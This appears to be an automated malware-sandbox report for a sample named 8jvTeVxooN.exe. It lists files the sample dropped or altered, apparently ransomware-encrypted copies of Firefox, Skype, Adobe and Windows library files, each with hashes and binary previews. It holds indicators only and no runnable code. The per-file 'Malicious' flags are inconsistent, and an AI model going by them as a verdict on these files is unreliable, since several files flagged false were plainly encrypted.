SHA-512:	9596EDD1BF8878F9A3C94C81D86C8E98A1AE63396CDFC57DA2F4AD8BE1E89DBDD36EB988DC29B60AD5AA69CA68671221310675B4DE76AE48BAA3D0D1648BB2D6
Malicious:	false
Preview:	ZBEDC.N..B-.htS..}.Lo.BK\q......C..q..c..Nd..a.~..7.......4.Q.U.G.#u.NpZ..k;...k...j.S.wsI}.c}k...-....-K..:...e/vi.r...xG..#W.v.@.z..~O..Ms+.....V...2..r.:Iz"....\|\..j...&K.Z....r.....].$,....Yv%wp.5.r....q..I...T7..D...l.....Zvv........M' .(.K.....YYG..X8.[....-..Q.t%Mp..1'B..Kt..^.wk..=.b.\...h.....E.cm..1..k....'&..e..%...2..6.-.=G.y..)0z.....C... 5.....K..<f.f.FtI2..!........:..(........T...mo[#.4F.~U"F.q........r.%..<..........xz6.U..9..K.._.t@.[...z.....e.<...}......)~.Y:.bUb..8...=..(...-..... .#..s..#x.o.,(.gn...b.t8[....&.y......S.&...T.?..%...%..o....i7$.....+..r.@.>..Q.Om.(.....p.o..K_..R....y.q..w....#4...SO.m\..4 ..HyZ.)YHA1..Uj6."AM.....\(.X..x....X...:..'.k...&........k.s"....g._.A...qQ.$t.H..........r.:o.rm.4.d..sd.^......[......<9...fNT&....S........i%....p.7.a.%.x..,.3?.7..6....I.'G/..C.w..O...1..._..v.a.S.....T8y....q.\|Y....wv.A..h.k.0.8..o....LU...80..v.v~.9<.5....q#@..........i...O.#8.>2P.....u....n.6.R.....z(...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZUYYDJDFVF.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8593568895537835
Encrypted:	false
SSDEEP:	24:czhMCbHPBgycpVKH1nBdfoArjaClOuO4yo/+bM1RkToSnjzdLKQUfPl8ObD:czhMWBgHpO1BdAWmUO4yomWUJnHdiD
MD5:	62E130B56C506E783606C22874E40104
SHA1:	CB0A7C427CF8D61E70A8AA72C6D3104ACCA3ACF9
SHA-256:	888CB7299AA220BAAAE4BDBB1A53857EF3EF806FD92BD33AFEE99C4AF55989DC
SHA-512:	37EDB4D418587C2643A8DD1B10A1BC0BB3B8A5FD06E256F128AB1FE3305C17014E84BD36D24529B83D24BE31FCE9AC6F3E00FADE4603E9457FED26B5FF71F3C6
Malicious:	false
Preview:	ZUYYD.!.6.m.=..v....c..X...2....,.x.&.k.n.'...0.{ ..2..vMq...w ^wc.....'.!Gr..Ua..!.<...w........CT....BV..g.D.ci.W.L...j..]i.^..(IG..~.g....._.).4....>S9..r....X.8piB..b,yBJ.K3.T....L.hlR.v..<h...$..p..1..H<s...g.uO..1L3~.4H..]......<..r....L......v\|i.N &....y...p#.N..{.W....x@...g.....9...V......h....U..../.....D...#.....9..Q..J .....].%=..$.j_N..6.<..6.Z.C:...S.a.TC.............0....0......G6, 8..a....L\.K.I{V..2y... {&..<.:.x...JW>..N..m...y.9.[-b.xL......N.....x..kH..iy..0s....y?.']...p..&;..%e#.jON>..?....O.\......(!...z...B..%...M....K...?......T..]..*.8.......Go.v..>r..@.u.MwB..b8.Qy69Ph...........q.c1....1.z~&O..W..`8....N]........?L.;R2...T{.J..6^..t...5......3...3...B..H4d?rR.<.8..........+....y......0..<.w.p..C..,...p$.c.P.....?....f....(...J.uEHq.......qy...{?;.6...t..F.a.M._.P...B..;o.BZ...)......"....3..w5...g.kv7.k.........Q...Z5...n..E4=.&$.....DA......3@h..B..K...Z.L.p+.@>....EQ..}. #.....`8.'d.r.<.1...Q..I.....)o.L..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.554676414202628
Encrypted:	false
SSDEEP:	12:YWMFlzkB/Dq9UQQtLPHiuX02LuCKgnKDGv247uOcii9a:YBKxjntLiuX02LAGvUObD
MD5:	303A7E284FEEEC8DD3CE78CBD3094E5D
SHA1:	4B698CCEE16FC4A2F4E2689DF0D09F5E595C26B1
SHA-256:	3D60819C9D0EB64C4C8178EE9A76A6C90346989AFC987EB876F8BCC2E7E462FB
SHA-512:	8781E7132AFEAE8E855B0BD5E90410AF8D1534A99E38994FA5D354C0A3A9D682FB7EEDD26DCA186D694EEFEC093F0208D16E2DC8D7F630BE8C4E8EB1DF4409A1
Malicious:	false
Preview:	{"sesA3.TbT....j\|<.3D......)>.6.c.a,b...l..V.@q;=C.. Gf..={2.aHa.6..=....+...G...P.E.K~qZ..;.......F8sSW.>)fo.b.=_......`tm..)..D>....."..P.a..,u......]Yo.....^.r.=....m2AU....k%x.OC....q...p..=$..g/W.Q...^.T..6..Rdh.S....:W..xW.{r....[0p.......\|\...Z.].y.R.H.._...c..n.}nW.j...R\|..3..B.. .........Z..U.k.8&.w....... .,.8.v'..T..K,.h. n....n...A..B/.]J..+x.^L.a...D.B..1.."..SN..G..Q0a.(#.7...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.380340213634056
Encrypted:	false
SSDEEP:	12:YGyYE3DJXdn//pow2LWDBVUW1aFTNDwFRbuOcii9a:YztFX2aD9EFTNMFEObD
MD5:	CEA220CFE7CF4ED02E318CF053156C41
SHA1:	659B4D0010D4FE017AA7F1195A7D7DC3D7EAB806
SHA-256:	C848B4D81C576A85D1EF0249E7021C2801CBA8CF647298AEE34FC08DDD82BD1D
SHA-512:	BFA8C2E5536D9E4B65EEA3E90C64DE2661CB32101173337D06E09124605AAED82E08D3EFD9606D4CD1CBBD57C0B400F3100755FFC0F9F20DE9EE17FCAF0E3CD6
Malicious:	false
Preview:	{"cli?.e...d~.T......2sw0...c<.Ja.3K...r%...L.._/.H.1N.....P.w..n.b.%+....,b..."..;.`........$<..l.}8.90MJy..zv]D..CB.......q.P....A...){u..J..f"..M.R....Q.A...DGNp.=..^...Y}.........-G<..9.\.Bn.ci3.....9.".\.k.[...d."......).z.5;.o.....l.R.1.&...(...1.S.."..%. ..a-.^dd......es/.......q.%\Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.871838167649951
Encrypted:	false
SSDEEP:	24:lzUcNd/t0UF5FpLM1IsxuyofMLwqIGOn8DqPxZaay0GOmexVtrObD:lxnt0sFpI1hofMLwqK8qPfy0HAD
MD5:	3BCD98DF16B1539E759A91756D534A6D
SHA1:	B9835A3E5992EA70C9F411A931632134013AD166
SHA-256:	6CAE48ED7A1114E4CA825D3F41DB78E2116AD3A5A568EE03E2BEDCDC0DCD7B59
SHA-512:	F910CCDEAD40562DD2AA7BC03820323E1ABEAC88E160F5427900C451CFF0D2F201EFE62202EF291A9B6F3834831E7DAE975AB409F91619EDE35551919A5795EA
Malicious:	false
Preview:	mozLz.pE88zY.^.\a...4.=..tMk<.....n.....-!..=.bw1.W..d..Rt.V..L.....H.............h=.....c..........<."...}..........x..lO...&......o{..B..7..P..<G.).n..2l..v(....B.N.+.d..4.P.........3.M.7...}...`...<r.c..~j_..~@.1.....7JQh..Q...0..Rr.m.+.....0..d.a{.s..r...O<.Ie].....i]..i.....>...^f......C.., .a..]T.....&=z~.....e.f.i.[..;/.ML.k>..........A.r..Y...!.f....l..nt~l.p.9b5f8..z....hG....".]lk....P..$X.Q.~.......,/"$.....F...j......q.>..d.b.T...SU..s....Z.D...&'M......#..3.q....us..e.N.U.C......&`...+\|J.$.....`q?....u+z....v.-.J..;.HezF.N?(O.\|0....X.(.~\|..oi....-t;..m.x{.gC.....w.Ai..h"..?....T>..4;E0...H..<j].^..M..U..3...)....;.:.;.me.2R.M.S....=...T.w.c.....].<.lu........2n..aQc....)9c/R...._.h%...Ul..y?..-a3]....6)...]B.....G.b.M.....".....).N+._.R..C.S.....b....'...y.dDC....M.. .V.......q.i.8.Z..w C.*\....r...h.\|o..$.[...+..f........E..'"\|....].b..R.o...b...M...Z$....&>...cYtT...#.l..->2..K..V.......Ah.\|_p...W[..M7. W.}..Y..#.....#...[

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.961783544996785
Encrypted:	false
SSDEEP:	96:HYTKHuQFgqugbTxaM2/+0yXVfEc7t0TmLewfUxIfMgtw4+DQYklgi:4TiuQjbA/SlbSTS5fMs+DXk
MD5:	FD40F2E2B2385FD2E31CEC2A2811A806
SHA1:	90BECBA48AC8F2A4EF1EE78C237EACD09209746A
SHA-256:	52F07FA22EB397585EC3E379CC9A25D574842317723BB8C245A30A253B887C39
SHA-512:	B6804454ED13DE549DBEAD8E73EDC6AF2D90966895FE4C1287EE9083CEA4CD02E54D868F851E29B9E71C5AE01606FE63EB553445DAD3A575410E43FA42D832B5
Malicious:	false
Preview:	mozLz....fd-.i.......?.j'....a5t....R).C.W.F#v.r..U...^.....K...#.9.G,........a.J.0U..W&....vI.J.oAb.^.w....{.,../k.C......W...+z0.j...1.bTa.K.9..\.5C..g..?0.SXT....b.."..xv....i.]y..H.7Js..H.J....W.v..'..J:.c."......?.t.......-.zf..MV.Y....].Z#..>...K.O.\.^>G.I..<..T......<.'.4......k+n.~=.\|i....j.. c+?.7.X..U^..d.F,s..2.&...).......2xn..b...H....6..".iv:/E....6........G..b..(.o.GJ.;.l!...o.."\|.qT%..('..P.T..r1]......s.5..[4.;!WW.....r...I!..........[.....0i..........:.sX.Ag....~.....e.!..o.3..l8.Cjo......O[W._.....Hr...aLd&...W....F.T......y@`G8gC.t......!..X.dz.);..o...........J......tI.<./.9.....0..T....Y'...(.}.C3.p.&h....K:n.m.T.L!.:...E..x.5..?.3.....Q.S.i.........u...........X.M..&.....d...%.f.0. .V....e]0..`.......=NY.?.i8.Pq..`."5.EQpXb.....{.bOh..i}..~...9.P9.8.$.z...7... ..W.9V.;Q?.7~.0.@".Vx<...?.Z:.W5.cl. ..@y......72.../....#q.3.Ph.Y.s.=..1...c.....d....G.v.....yiK.&.l....n$..`@..X.y<...O...m...6"\.;W...A..f...tJ\|.iy

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998653719819707
Encrypted:	true
SSDEEP:	3072:7/EXBP7kJWT0nc56lyjtHxCCQA1fHFQaelsJfNYkniwr+G4djg77MVy1X:7/MQJfc8lyjt4CfHQaeSsSiy4py
MD5:	0873A02BE2BBE42013342B3447587EFB
SHA1:	249836E8EE8DA49E438F8B5598988B87C3BC4758
SHA-256:	2243FDC633281F2C2225CB7B690528ACC46C5F58155A37C60F5E19E1BD455744
SHA-512:	32E11C4AD40956836412FFFC162D9E00A658BE2A605AE4959D3C3267774CAB3213B6E6C14C34207857FC285C4BEA0EE15D32D67AEC868D925945084811596F15
Malicious:	true
Preview:	SQLitb.r..:.:^.?["].Z...U..JM@NV....{.. L......c..W+...ec...~rv.08.T)!.2o.%..x?...r...~..8l..3.....u....9. ...2.$p.'....6d}=...=.N....xW.8...e,...!.6xx{z..6.qN.k..W.m...o.t.g.....y.l...Df..P.........DZ......(....0......I..5$P...q.....r.H....k...Q.}....F.dr.1..a..\|0..}.n..R."K...]V>L..a.=..:..Kr.:A.L......n<...O...........Z...s..<.\|.v...z.om/.xE.."B=Tn#eI..~53j....O'.K..,.].D..Q..d.ta....Nv..=A.....Q.j-...{. <yR./..#z......-....k....%.}j.`B.W..4.....Z...D.3..l..h.'.."i....ZMX.B.....+q..s....4..%)....k...dG...g.k......f.....Mq..b._.......[...D.g...kDx.._.t.o.FH..a...m'4l[...B....L....... .X_..1=.+.*............'..99.D.Y..n...@Ej.g).t..w.v.,....vE...dN?k~....e..a.G.`...Q.c.R.....`.........f\|n..tUZZ-+N&;k.t.`8%`.C..aM.n..cdG/.T..=,...~.o.aP._.....k/....&vO.=j...z...5...-.?.%._r...I.>........?.t..:;S.Rl....p......^pm1.H.....e....L..8,Z.4.}...O.._.....Y...dSkQ.=....\`}......%..7..kcR..!.(+0..Y..YC.\|.m._....b../.u.`c....I^Tx.......

C:\Users\user\AppData\Roaming\Skype\RootTools\roottools.conf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.385863836222191
Encrypted:	false
SSDEEP:	6:LNu+KvV+pdXRLUf3xJcovRxmYdjDwfBnHBDUBtq5fZdv793ocbmuBscii96Z:Dtv5UcwjhD8BnHBI7q5j93jCuOcii9a
MD5:	2505C03280BCDFABD42FC93C5278594E
SHA1:	55E133D6422FA5C1839B610F43D06A5868E921DD
SHA-256:	96983C6B1358D808C91A14096D3B408C96A1DF1ECD3ABF77738F05D7333054E2
SHA-512:	DEAD7AF9CD458F24CE7EF697B2540624015C82F8B4E03F3B3C99FEBB7A082CAEE1883C9CD0ECA7AEEA0D3FE5BA88BE520C9DB086B74F0FA159A0055C322BB58A
Malicious:	false
Preview:	node_._......G..4v.x/m.....r..o4w.8.f-...W..L.....^..B..0M.X.L...lr....Os.U.C..h...y.$v..M..0;z..,k.G.M\...5,CJ..$..]...S.......~V.T.H,.(.S\./.....TU.xK.\| b.av.V.t.Bq..........cj...56..>..d)....fx&GU......B..3iX...y.].3B3._........^+.~..m.U.+.!FP....c0b..l:...M.AB.h.g....VT..f~d......Q.Cs....xW..[.E.f0(Jc...*Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.291684832727704
Encrypted:	false
SSDEEP:	6:p8r1C+MzeRiiSFg9rX/rJggACWFIQwR8XptZxYw6wuBscii96Z:p8kjS8F+zPrWbwEFYwfuOcii9a
MD5:	5D946A964DB7348281A59D9BBF8CAECA
SHA1:	A8AB5C521B160FE574199EB4DBBBDD2BB08CE133
SHA-256:	3F1685254F6130B168F5FDBD2244F24D2F8E6E6E9E2B8B67D67FC032E60FC9A3
SHA-512:	9D21EA57CB7353DD2A608F0B6DC69E0A9DF2D88EE4F68D6B20175A2F1D2964A69F237C61453B4CB10AE98A1E300591B1B05D8D80B2C0081C17F7B5E58E8ACC18
Malicious:	false
Preview:	%PDFT..Dv.Y.h.....P.7.....K.....g..;&..&.U.DA0."h...h.ydN.q.....#?.v.S3x.O.......jw.uI..........TT......8.%U..[.b..;.{>Y...$\|+..E.C.V....lM...$....)..R..3.1Y.g.D.6Y...;./.m..Vt....,...jh.....W.>./o.4\Rxr.h..8........L............}...b.;.Y.K........U...'..ht.../..j.......BKZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.290497703338191
Encrypted:	false
SSDEEP:	6:6+dzQEqsW2w8D5TAmbpoa8uuSpGIl6nPi4l0dI2M5UuBscii96Z:xQz32w8lTAmbpoNHiMJl0dmUuOcii9a
MD5:	E4AB8063B36D00D27CF25A99F90619EF
SHA1:	B4E312C81F1BFB06B9E30B8EC5D1D374450B9C9E
SHA-256:	53A3B39ABA5973AB7E5C53A7F32E978A56D19BB466C42651E205F2D2EE43B753
SHA-512:	A01E69D7F0316C81C72DFA121AB75F00DF9C477D08F48AB6A174DBD15EFCA2FC48EEB5F8B50C5AFEB66CD6E4E38FF07B1018699F8A6299504FD3C6D4082E33AF
Malicious:	false
Preview:	%PDFT....PE9...L.. .;.5..P7...";....3x....K-o.......%.-&...+...E.6.Y.5...G..~..a.Y.3F.[.'a!j.TJ....E."6.K*..ym).fY..^DH..I.;G@.[.O.S.......UF<...&..R.....H.<0.!85............Tc.. a.Z.CL..Y....V.]. ....0R....P..7..xu..m...N..Hlf.\|..P.h....._..C,d..bj[...}...X.'.BdvK.. ......@.R...~(.m.f..Yt:..qS.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.869677847930273
Encrypted:	false
SSDEEP:	24:2qGbXY96G8EvOIIbgNV0A93JB9ViqV8ORmvGU9Qv/J1MqWjuW+ycmcOg4ZUNObD:rswvIbgP1B9VbV8ORqGUyHJmNKnrmct+
MD5:	279787D41C9F09B337CAEDA880527015
SHA1:	E5BAC2B40E15518D10C9CC8A20525FAFEC988504
SHA-256:	1CD266F0180F09583C41B98616EB3A99542735B3BCF55786D1D4660AD979F4D2
SHA-512:	7A9E0FE73417D5A0EC3E178C7D234B6CC357D0669292668C630BB737DD09A3C6067C09143EE45C4C9F7F80DE3956EA1180B499A19CEF7B88C320FE46E519EB7F
Malicious:	false
Preview:	<?xml...n.#..,....PN:..\.....=..>\|....K...._5`[..D...m...~....Y.\...V;OMw.,.....>:..]P..F.Im'O..v~m........jb/db.e.....%}@.t.^.KCm...\|>(y.J..m.....h....0..{.Q.uR.P..}.cg..$..C....!...d.I=.s.._...).....?...7...M.s8.....X0.}..q.5.N...I.(...)a#a.. .".aN.xe........u%.lz.].}/.w....U....T6hc`...]..QH.........gp......W..L.(.....k........I.......y..s.P9.\|..c2.Pd%2.mg.........7#...\|...{.Q.....D....<Ua...22.%.U.k..Mwf...M.h..=C.hO..^.Q."...-...3.,..." @..lg._C........I-.^...I..=4.9...M....a.b.c.7T,.rKI...o.7._.aH$......Pe.?.9....>.....d ..A..h.f'.z.99[y.a..\MnDNCH..6\...la4R.Z!`.4z.06r.'T.qC~.J.....[Cm.o.....}jS...~.q.4.U.u../.}q.d...A....d@....ap.......v.L...M..22p....:.\|...9.u ..N.C/..V..rZ7.81..?X..e<Lb.l0.X~mW.U.+>I.y.f...A..O...L..3..+...+B...{..<5.........XM..\.?....Y..N.F.\.{.#..zh...,kO..#0......D.cG..U..4.8.'Nr+.....)O....oe.&..+.R..%Y..\..<........0Y.r..S}..<&.J.S .zr).lW..p.@H.....YL.h....\..&.!.1...u...1!7._.Z...0....s..o&!ftK..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.928324855734228
Encrypted:	false
SSDEEP:	48:ehsvB0aVbj3y7al/O3ikDhYbewq3hb5DuGPTuLdjIEf9wJCyD:ehWB0Yj3y2lsiuhYbZqRJGpjIl4a
MD5:	A4AF6926263A54780659E63ECFB16946
SHA1:	E34EEC8028773F5A43D3021BD7C756772C6989BD
SHA-256:	D5E6BAEC5CEDB01181C8974C9EB0FE3F16A84F0599F907E63E7C80EC9590FAFE
SHA-512:	672A3DEE4D189F2F6C210CC30A54E783148D6995A66541E9A36AEE332A85674CF7E046DC8BD741AAB4B3A1D39D57126B796E956F4525485C2E050040649AAD66
Malicious:	false
Preview:	<?xml&U...HECd.Mgz.H.)[...o.^0l(.B.O..R.xQ.tR..y1B}2.\|.A=$.. ..#.D...#....s.%.gMQW...d6J..5.-.05......`.w..yA.^&.N..f.,.....D...L/.R....(..G .p..S..4...h..K....B..d.r..../.. ..7F..Jr.w.p4...5..qK.....:..Mn.%ZW....b...h.k..1.82..Lt4......O...Q.$4.H:..T..#c. ..Q.g....p\|....E...z.j].......p@..(.9T...R...g...........t h...3.<...T......2.!...pLC..H.[].fLUT.2....}..Z=2..V......\.`4...d.z....1.#cE...t..'...y...{,CmN..0.y....\|:..\|....3.f..Cx.n..y,...D..T.p...`.. .vj.........../f.LjR...TB.u..O+...^r......j...o.A=...&l..Ak.....SuD.-.dH].}0.1.......^.4..Q......l....$).r.._.#.v.A.....o;;.o$.....W[cu.:.i\|cj......G..f.>.E.?AFfC...Sc_qS.C`....9...>!.kF.....g... .9.G....i........a.O..n.....qa....*&mJ.TtQ.O+..\|...g......:..S..:,..~....\|f..9.)....i....5w.....x..X...Y...p..i.......W.R...0.s...o...1a...[m...b.......z...V..t..f..I9..q.)_w.!.?#.vy.a...E...1..W.7..lS^..f.}...C>{^z...c...5@..\|5-E...1.....B...4...nWD...kT..O...M..M.....'X...N-iM.:#]r...h..&X.b

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.9324100781403954
Encrypted:	false
SSDEEP:	48:6BKUUcQ/FiEDtpN2Np55HQcVoI8AZRU97OkgVorjYmdRn84G0WLcxxGoY1D:8KUhQ/F1pc55wxHc+9RgVo5c4+4xwl
MD5:	02B84B1EDD9E617ECCD990CD01E9C8B5
SHA1:	866B231153580404212B9928BD632965C2B755DC
SHA-256:	AB61E985C170209D2CF6B0FC5EC3BED7FCA1771BA5ED0427E8FD9F8A8B23509C
SHA-512:	2A44968A5A6825946DBF3F081FBEA81A7990D6E1D94E73CD34217FA3046C3129CBD64B0D5D83D1BA01755BB471CBB7DA2C68625E306B74CCF381A55B7F6E252D
Malicious:	false
Preview:	<?xml..p>...S......\|c...!,.?.....<.q.B.'...^#.......P.....W..."u]..,0p..B.%......%Fl........A..Xo8....zkvzn...s7..D~.^.Y...........~..4h..C.......w8....4^J.........K(.O.{.\..1...mB....%... ?&...P...#)sr.z'h.Y...Z.fj.2:.N.......`.}.H.c...N.i..J9..-w.V...{.2.A.#..2.a.>..$.... i.7{......^4.?..".....i.....z.1....!j.>KO.N.h...m..m.........!.b(..\|HU..j...<.K..A..h_R..-l..+...u.Py(.....L.\|......X...!o..l..S../....... .d....Ft#.YoY..\|.......H..k6.M..7.4V.%.DG.fl9.[..r.} 5/-{.5.`..32;.....'m..Gp.E....Q.W.j_...&..&.i8..M{ZT.xk.vq.........%...;..g.-.....=.'.2...o...Q...20.my'....(..o..5[.`/..Q.58..y...U.o..W....X9.....[..~..[.j@=..../Af...f..L.AC.KM_$i.>L...D...;#._.N....E.so...\|F+lD..........o5.xnZ............M..t.A..H.ak.......\..h.......g...M..{......Z.5..f.,...2....^.v.....6!..p.^W.nj.......F...Tq../...2....J....Y. ....d*..1.q.BU.?].V.z..sW....... .......a9..,gL....eM.......#f.F.=.....;..R.8...}.A...K~...._.?9...C........x%..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.913873622651324
Encrypted:	false
SSDEEP:	48:owQtTCWG3FhRR9ocJn9hqR7+tmSkelXXDOoakDuAuOO++H9sIOxD:owQlCD1jocJugdq1nAo6IO5
MD5:	A84428F8355DA02135348FAA6D5FDA1A
SHA1:	7F1BD12A0E6E2AD6BE040B4F19CE903A54220DD9
SHA-256:	ECCDABD8CA8471AFF40BC4E617F7B7AFB5D959D259A8D2254DA00B08B94EFB57
SHA-512:	D8DADF988E096B1198F32120E475C23D8CC00D31F856A9AC50AC4EF9FCB5142CC64833475DDBA5DD155ED192A6A6C62A7E00FC5794C616D5502B28E1B89B70AB
Malicious:	false
Preview:	<?xml..C.7g.j....h.5.+r.`6:........GO.9.........T..<.=..U........~...........I' .%..'..fTV.M.X....p.....;S...r.HQp.Oh.l.6Nu.O..i.q..wy..dl.g-..W..M..^... ...(.P/\t~..9xn.@.f.4I1{....\|..G....q....k.5..]Z.+.-..-.I..0;p......;b,..u\|7..MI.e.cX),...W.!..cgr.d.=../.[ .....C]_..iV.........a....i,.^TU....d...UX#.....F?.:.f.......:y./\{..x.O..E...f.=N.).<s...7.....i........]..^.$."....WR.W.;.Z.%.n.....d.$..W]...<e.....Jy......,..a...G\|.....D..01.._R.Y%4w.........-.z...[<.Hnc.f..o...MK>...)......GsI..J...E......z..d:....>\|...6....X....Z$..>.<.L......s%{.q.R.,..........2h...cr..G8N....O.b.\...40......Ga......o.,../...8...v........gi..m.i.../.`.@\|k..b...V.....(.a]..iMAP...{.......>B.h..9.eh.q+..k.lH.{....Y4.........i.9'.d.~.L[.....6 ...8.-&......Ji..3..BR.q.b$....J.?.Yo.../Zj...f.i#..Q7.....]...?.....2... ).HvRU.N..........sg.%z-..$."..oon..D.x.#Z.K..~..-o$.........-......{(...O['C.w.Y.0S...[].m.H.P..W. z.Sj].7D.'....<2u~.....PzSf....f...9..9e.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.844692087232635
Encrypted:	false
SSDEEP:	24:0ZbXuaFezLWU6/zUVBPg9GPcTxt3802zlykwqs5TjiGy5KtXylf/UrOISObD:EXuasLhKzUVhg8Yn80Qykg5T7MaW/UCi
MD5:	C8F0CDB8DA2BF4B08CEBE21F77A7B606
SHA1:	5F2694C0245A98E43949FF4A1BE1BD1E7D20D42A
SHA-256:	201FE2886BD74E06734E4705858C4BE2790EF0674A175714AFD3C787836DB541
SHA-512:	41D7BEAAF0315ACDFB3410BD1A420A0C914D5A0EFE4A9BE61D818DCDBB1ED646D076D52DB84CBD1E2FD3BBE3357615E6B1379E4187F6A70169D1B65E3DC830D0
Malicious:	false
Preview:	<?xml1?.....//..6..$+.W[..&..7f.~U.O2..u..jxe....Do......u...(.n.!..5^....2x..s.^........~:XA6k......n..{0.s.1..]&3..N..Y.oY.N_.U.e3v.(04..k/\.>&s. q.j...\...s..Olj....q]D..W...Hu.......'n. #~...}d..g.9'..\.U^S'..a.......(..sD.......!..A.wh.......i."..p:T..C.Rk5u.:{-.g.'....y.........3.M{V..9I.....f.s.M...~R..Y.~1.3.@...+..... ..6&(..x..5v.... ...M..=U..\,+. .g.<ed.;....O6Y.Q@......xq.5}............o....'1.......YOt.;..,l._Y.{OR...@.L.....^5cs$....d.M.%..[...J....'!...].h.7....RW...hF.1-.n....-6u.t.H..7O.~CR6.+...R-Q1..h\y....}:.....d0.r.w.DID.O.[....o.....i.d.C.R...7.UvT"FJ{...UV..`.K.........v..a..n..uZ..W.....;.\|p)....4U8\|.q.d:r*7(J+...e!....Zp.3o.._3.'NB,.('..H..;FzK.Z^]j....bHU)....2..)jy.j..o......^...H..hH..v...I.\|....b............@`..x.u.i.v.....[..}...c./j)..$.S...@$.....a...;H.9<.qz...W......9.dy..Fk..".R..n.M.B..A...wB...3P`H..h..7.M:WZo^{s<j.C%5.....`....9....s...PK.....p.......;....0:.J7X.P..............$...U.A...........!..x).7.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.909362085154819
Encrypted:	false
SSDEEP:	48:wUWVon2uXc95Xb/7xUEhIAU7q6JqQG7WsT9ABZvZU1/MpJD:wUW+n2u4xUgzUDiT9yU1/Mph
MD5:	262636CA222E14ABD852CEFB22FC08E8
SHA1:	23BDFFB3920246136FD5DE8594EFEFC4147D1908
SHA-256:	DEBF8B2A5228559D13AFC08C01C16B83C376C4A4AACDF40607347F1960207832
SHA-512:	000974AAF88F1081F25DD040F1884CE16DCFA72A0A680D6E1AD7DCF775657BA78FA5BD38ECF09D92E05B62347CF3B00E5B6F3C4D558D3FDCC4D8CAA5DD588893
Malicious:	false
